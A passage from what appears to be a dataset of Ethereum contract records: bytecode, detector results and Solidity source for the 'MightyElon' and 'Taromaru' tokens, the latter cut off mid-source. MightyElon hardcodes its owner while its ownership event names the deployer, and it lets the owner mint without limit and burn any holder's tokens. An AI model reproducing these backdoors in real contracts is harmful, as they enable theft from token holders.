211b565b90915550506000818152600660209081526040808320805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0387169081179091558352600790915281208054600192906111559084906120d0565b909155505060405181906001600160a01b0380851691908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90600090a4505050565b6111b4828260405180602001604052806000815250611607565b5050565b60006111c382610a59565b90506111d0600083610e3b565b6001600160a01b03811660009081526007602052604081208054600192906111f990849061211b565b9091555050600082815260066020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b6060816112a057505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b81156112ca57806112b48161215e565b91506112c39050600a836120e8565b91506112a4565b60008167ffffffffffffffff8111156112e5576112e56121cf565b6040519080825280601f01601f19166020018201604052801561130f576020820181803683370190505b5090505b8415610fb55761132460018361211b565b9150611331600a86612179565b61133c9060306120d0565b60f81b818381518110611351576113516121b9565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535061138b600a866120e8565b9450611313565b6000816040516020016113a59190611d2e565b60408051601f19818403018152919052805160209091012092915050565b6113ce848484610fbd565b6113da8484848461166a565b610cd15760405162461bcd60e51b815260206004820152602a60248201527f7472616e7366657220746f206e6f6e204552433732315265636569766572206960448201527f6d706c656d656e7465720000000000000000000000000000000000000000000060648201526084016103da565b80516060908061146c575050604080516020810190915260008152919050565b6000600361147b8360026120d0565b61148591906120e8565b6114909060046120fc565b9050600061149f8260206120d0565b67ffffffffffffffff8111156114b7576114b76121cf565b6040519080825280601f01601f1916602001820160405280156114e1576020820181803683370190505b509050600060405180606001604052806040815260200161231f604091399050600181016020830160005b8681101561156d576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b83526004909201910161150c565b50600386066001811461158757600281146115d1576115f9565b7f3d3d0000000000000000000000000000000000000000000000000000000000007ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe8301526115f9565b7f3d000000000000000000000000000000000000000000000000000000000000006000198301525b505050918152949350505050565b611611838361180e565b61161e600084848461166a565b6105245760405162461bcd60e51b815260206004820152601e60248201527f7472616e7366657220746f206e6f6e204552433732315265636569766572000060448201526064016103da565b6000833b15611803576040517f150b7a020000000000000000000000000000000000000000000000000000000081526001600160a01b0385169063150b7a02906116be903390899088908890600401612015565b602060405180830381600087803b1580156116d857600080fd5b505af1925050508015611708575060408051601f3d908101601f1916820190925261170591810190611c32565b60015b6117b8573d808015611736576040519150601f19603f3d011682016040523d82523d6000602084013e61173b565b606091505b5080516117b05760405162461bcd60e51b815260206004820152602a60248201527f7472616e7366657220746f206e6f6e204552433732315265636569766572206960448201527f6d706c656d656e7465720000000000000000000000000000000000000000000060648201526084016103da565b805181602001fd5b7fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a0200000000000000000000000000000000000000000000000000000000149050610fb5565b506001949350505050565b6001600160a01b0382166118645760405162461bcd60e51b815260206004820152601860248201527f6d696e7420746f20746865207a65726f2061646472657373000000000000000060448201526064016103da565b6000818152600660205260409020546001600160a01b0316156118c95760405162461bcd60e51b815260206004820152601460248201527f746f6b656e20616c7265616479206d696e74656400000000000000000000000060448201526064016103da565b6001600160a01b03821660009081526007602052604081208054600192906118f29084906120d0565b9091555050600081815260066020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60405180606001604052806003905b606081526020019060019003908161196c5790505090565b80356001600160a01b038116811461199b57600080fd5b919050565b6000602082840312156119b257600080fd5b6119bb82611984565b9392505050565b600080604083850312156119d557600080fd5b6119de83611984565b91506119ec60208401611984565b90509250929050565b600080600060608486031215611a0a57600080fd5b611a1384611984565b9250611a2160208501611984565b9150604084013590509250925092565b60008060008060808587031215611a4757600080fd5b611a5085611984565b9350611a5e60208601611984565b925060408501359150606085013567ffffffffffffffff80821115611a8257600080fd5b818701915087601f830112611a9657600080fd5b813581811115611aa857611aa86121cf565b604051601f8201601f19908116603f01168101908382118183101715611ad057611ad06121cf565b816040528281528a6020848701011115611ae957600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b60008060408385031215611b2057600080fd5b611b2983611984565b91506020830135611b39816121e5565b809150509250929050565b60008060408385031215611b5757600080fd5b611b6083611984565b946020939093013593505050565b60008060008060608587031215611b8457600080fd5b611b8d85611984565b935060208501359250604085013567ffffffffffffffff80821115611bb157600080fd5b818701915087601f830112611bc557600080fd5b813581811115611bd457600080fd5b8860208260051b8501011115611be957600080fd5b95989497505060200194505050565b600060208284031215611c0a57600080fd5b81516119bb816121e5565b600060208284031215611c2757600080fd5b81356119bb816121f3565b600060208284031215611c4457600080fd5b81516119bb816121f3565b600060208284031215611c6157600080fd5b5035919050565b60008151808452611c80816020860160208601612132565b601f01601f19169290920160200192915050565b8054600090600181811c9080831680611cae57607f831692505b6020808410821415611cd057634e487b7160e01b600052602260045260246000fd5b818015611ce45760018114611cf557611d22565b60ff19861689528489019650611d22565b60008881526020902060005b86811015611d1a5781548b820152908501908301611d01565b505084890196505b50505050505092915050565b60008251611d40818460208701612132565b9190910192915050565b60008451611d5c818460208901612132565b845190830190611d70818360208901612132565b8451910190611d83818360208801612132565b0195945050505050565b60008351611d9f818460208801612132565b600160fd1b908301908152611db76001820185611c94565b95945050505050565b6000611dcc8285611c94565b600160fd1b81528351611de6816001840160208801612132565b01600101949350505050565b6000611dfe8285611c94565b600160fd1b8152611db76001820185611c94565b7f7000000000000000000000000000000000000000000000000000000000000000815260008251611e4a816001850160208701612132565b9190910160010192915050565b7f7300000000000000000000000000000000000000000000000000000000000000815260008251611e4a816001850160208701612132565b7f6c00000000000000000000000000000000000000000000000000000000000000815260008251611e4a816001850160208701612132565b7f7b226e616d65223a20224865726f202300000000000000000000000000000000815260008351611eff816010850160208801612132565b7f222c20226465736372697074696f6e223a20224865726f6573222c2022696d616010918401918201527f6765223a2022646174613a696d6167652f7376672b786d6c3b6261736536342c60308201528351611f62816050840160208801612132565b7f227d00000000000000000000000000000000000000000000000000000000000060509290910191820152605201949350505050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000815260008251611fd081601d850160208701612132565b91909101601d0192915050565b7f6600000000000000000000000000000000000000000000000000000000000000815260008251611e4a816001850160208701612132565b60006001600160a01b038087168352808616602084015250836040830152608060608301526120476080830184611c68565b9695505050505050565b6001600160a01b03851681528360208201526060604082015281606082015260007f07ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83111561209f57600080fd5b8260051b808560808501376000920160800191825250949350505050565b6020815260006119bb6020830184611c68565b600082198211156120e3576120e361218d565b500190565b6000826120f7576120f76121a3565b500490565b60008160001904831182151516156121165761211661218d565b500290565b60008282101561212d5761212d61218d565b500390565b60005b8381101561214d578181015183820152602001612135565b83811115610cd15750506000910152565b60006000198214156121725761217261218d565b5060010190565b600082612188576121886121a3565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b801515811461080957600080fd5b7fffffffff000000000000000000000000000000000000000000000000000000008116811461080957600080fdfe3c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f73766722207072657365727665417370656374526174696f3d22784d696e594d696e206d656574222076696577426f783d223020302033353020333530223e3c7374796c653e2e62617365207b2066696c6c3a2077686974653b20666f6e742d66616d696c793a2073657269663b20666f6e742d73697a653a20313470783b207d3c2f7374796c653e3c726563742077696474683d223130302522206865696768743d2231303025222066696c6c3d22626c61636b22202f3e3c7465787420783d2231302220793d2232302220636c6173733d2262617365223e4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa264697066735822122088654816ce8db9db79da7faa06b962a323f19ab099e4ddf5c6a8edee5af9aa1064736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 1,131 |
0xfb909066a24862925eec0d478c98b39287759666 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = 0xc910Fd63A38cB3BA0957B22E2C674e1FF9D925d8;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MightyElon is Ownable, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = 'Mighty Elon';
_symbol = 'MElon';
_totalSupply= 10000 *(10**decimals());
_balances[owner()]=_totalSupply;
emit Transfer(address(0),owner(),_totalSupply);
}
/**
* @dev Returns the name of the token.
*
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 9;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function mint(address account, uint256 amount) public onlyOwner{
_mint( account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function Burn(address account, uint256 amount) public onlyOwner {
_burn( account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb14610209578063cc16f5db1461021c578063dd62ed3e1461022f578063f2fde38b1461026857600080fd5b8063715018a6146101cb5780638da5cb5b146101d357806395d89b41146101ee578063a457c2d7146101f657600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806340c10f191461018d57806370a08231146101a257600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61027b565b60405161011a9190610c8f565b60405180910390f35b610136610131366004610c66565b61030d565b604051901515815260200161011a565b6003545b60405190815260200161011a565b610136610166366004610c2b565b610323565b6040516009815260200161011a565b610136610188366004610c66565b6103d9565b6101a061019b366004610c66565b610410565b005b61014a6101b0366004610bd8565b6001600160a01b031660009081526001602052604090205490565b6101a0610448565b6000546040516001600160a01b03909116815260200161011a565b61010d6104bc565b610136610204366004610c66565b6104cb565b610136610217366004610c66565b610566565b6101a061022a366004610c66565b610573565b61014a61023d366004610bf9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101a0610276366004610bd8565b6105a7565b60606004805461028a90610d46565b80601f01602080910402602001604051908101604052809291908181526020018280546102b690610d46565b80156103035780601f106102d857610100808354040283529160200191610303565b820191906000526020600020905b8154815290600101906020018083116102e657829003601f168201915b5050505050905090565b600061031a338484610691565b50600192915050565b60006103308484846107b6565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156103ba5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ce85336103c98685610d2f565b610691565b506001949350505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161031a9185906103c9908690610d17565b6000546001600160a01b0316331461043a5760405162461bcd60e51b81526004016103b190610ce2565b610444828261098e565b5050565b6000546001600160a01b031633146104725760405162461bcd60e51b81526004016103b190610ce2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606005805461028a90610d46565b3360009081526002602090815260408083206001600160a01b03861684529091528120548281101561054d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b1565b61055c33856103c98685610d2f565b5060019392505050565b600061031a3384846107b6565b6000546001600160a01b0316331461059d5760405162461bcd60e51b81526004016103b190610ce2565b6104448282610a6d565b6000546001600160a01b031633146105d15760405162461bcd60e51b81526004016103b190610ce2565b6001600160a01b0381166106365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103b1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106f35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b1565b6001600160a01b0382166107545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661081a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b1565b6001600160a01b03821661087c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b1565b6001600160a01b038316600090815260016020526040902054818110156108f45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b1565b6108fe8282610d2f565b6001600160a01b038086166000908152600160205260408082209390935590851681529081208054849290610934908490610d17565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161098091815260200190565b60405180910390a350505050565b6001600160a01b0382166109e45760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016103b1565b80600360008282546109f69190610d17565b90915550506001600160a01b03821660009081526001602052604081208054839290610a23908490610d17565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b038216610acd5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103b1565b6001600160a01b03821660009081526001602052604090205481811015610b415760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016103b1565b610b4b8282610d2f565b6001600160a01b03841660009081526001602052604081209190915560038054849290610b79908490610d2f565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016107a9565b80356001600160a01b0381168114610bd357600080fd5b919050565b600060208284031215610be9578081fd5b610bf282610bbc565b9392505050565b60008060408385031215610c0b578081fd5b610c1483610bbc565b9150610c2260208401610bbc565b90509250929050565b600080600060608486031215610c3f578081fd5b610c4884610bbc565b9250610c5660208501610bbc565b9150604084013590509250925092565b60008060408385031215610c78578182fd5b610c8183610bbc565b946020939093013593505050565b6000602080835283518082850152825b81811015610cbb57858101830151858201604001528201610c9f565b81811115610ccc5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610d2a57610d2a610d81565b500190565b600082821015610d4157610d41610d81565b500390565b600181811c90821680610d5a57607f821691505b60208210811415610d7b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220e710ac1b2c98dc95c3ab2198033519f18eb3f1573eb764364744cdafa797a6cb64736f6c63430008040033 | {"success": true, "error": null, "results": {}} | 1,132 |
0x4167a20d5337fe69c55fe61a5a3d5306213eabf8 | /**
*Submitted for verification at Etherscan.io on 2022-03-11
*/
/**
/**
//SPDX-License-Identifier: UNLICENSED
Telegram: https://t.me/TaroMaruPortal
Website: https://taromaru.live
Twitter: https://twitter.com/TaromaruEth
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Taromaru is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Taromaru";
string private constant _symbol = "Taromaru";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xdB6B42fcB1617c9e8D385eB1AE2C7C6F71a85DC5);
_feeAddrWallet2 = payable(0xEDccd00ba35332FCFBe1A81723ed3CDA860143bD);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
